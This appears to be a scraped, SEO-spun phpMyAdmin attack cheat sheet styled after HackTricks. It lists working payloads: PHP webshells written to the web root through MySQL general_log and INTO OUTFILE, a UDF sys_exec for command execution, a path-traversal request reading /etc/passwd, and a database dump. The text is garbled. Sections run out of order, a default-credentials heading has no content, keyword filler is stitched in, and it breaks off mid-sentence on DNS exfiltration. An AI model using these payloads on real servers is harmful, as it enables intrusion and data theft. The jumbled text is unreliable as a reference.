Hacktricks Verified — Phpmyadmin

curl -s http://target/phpmyadmin/README | grep "Version" Verified: phpMyAdmin 5.1.1 leaks version in the default CSS comment: /* v5.1.1 */ . 2.1 Default Credentials (Still Works in 2025) Despite warnings, many test environments (and sadly some production) still use:

SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['c']); ?>"; -- This gets written to log file Requires MySQL SUPER privilege (often given to root user in phpMyAdmin). 3.3 User-Defined Functions (UDF) for Persistent Shell Create a MySQL UDF that executes system commands. phpmyadmin hacktricks verified

CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('id'); Requires plugin directory write access. Most shared hosting disables this. Part 4: Privilege Escalation via phpMyAdmin Itself 4.1 Config File Disclosure The config.inc.php file contains database credentials and sometimes auth keys. POST /phpmyadmin/index

POST /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd Improper sanitization of the target parameter. Patched in 4.8.5. Test instances still exist. Part 3: Post-Authentication to Remote Code Execution (RCE) Once logged in, the game is over for the server. 3.1 Into Outfile Method (Most Reliable) If the database user has FILE privilege, you can write a webshell. SET GLOBAL general_log_file = '/var/www/html/shell.php'

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php" Then access: http://target/shell.php?cmd=id

Last verified: June 2025 – phpMyAdmin 5.2.1, MySQL 8.0, Ubuntu 22.04.

SELECT * FROM information_schema.tables INTO OUTFILE '/tmp/db_dump.sql'; Or use built-in export (less stealthy but faster). If outbound internet is allowed but direct connections monitored, use DNS: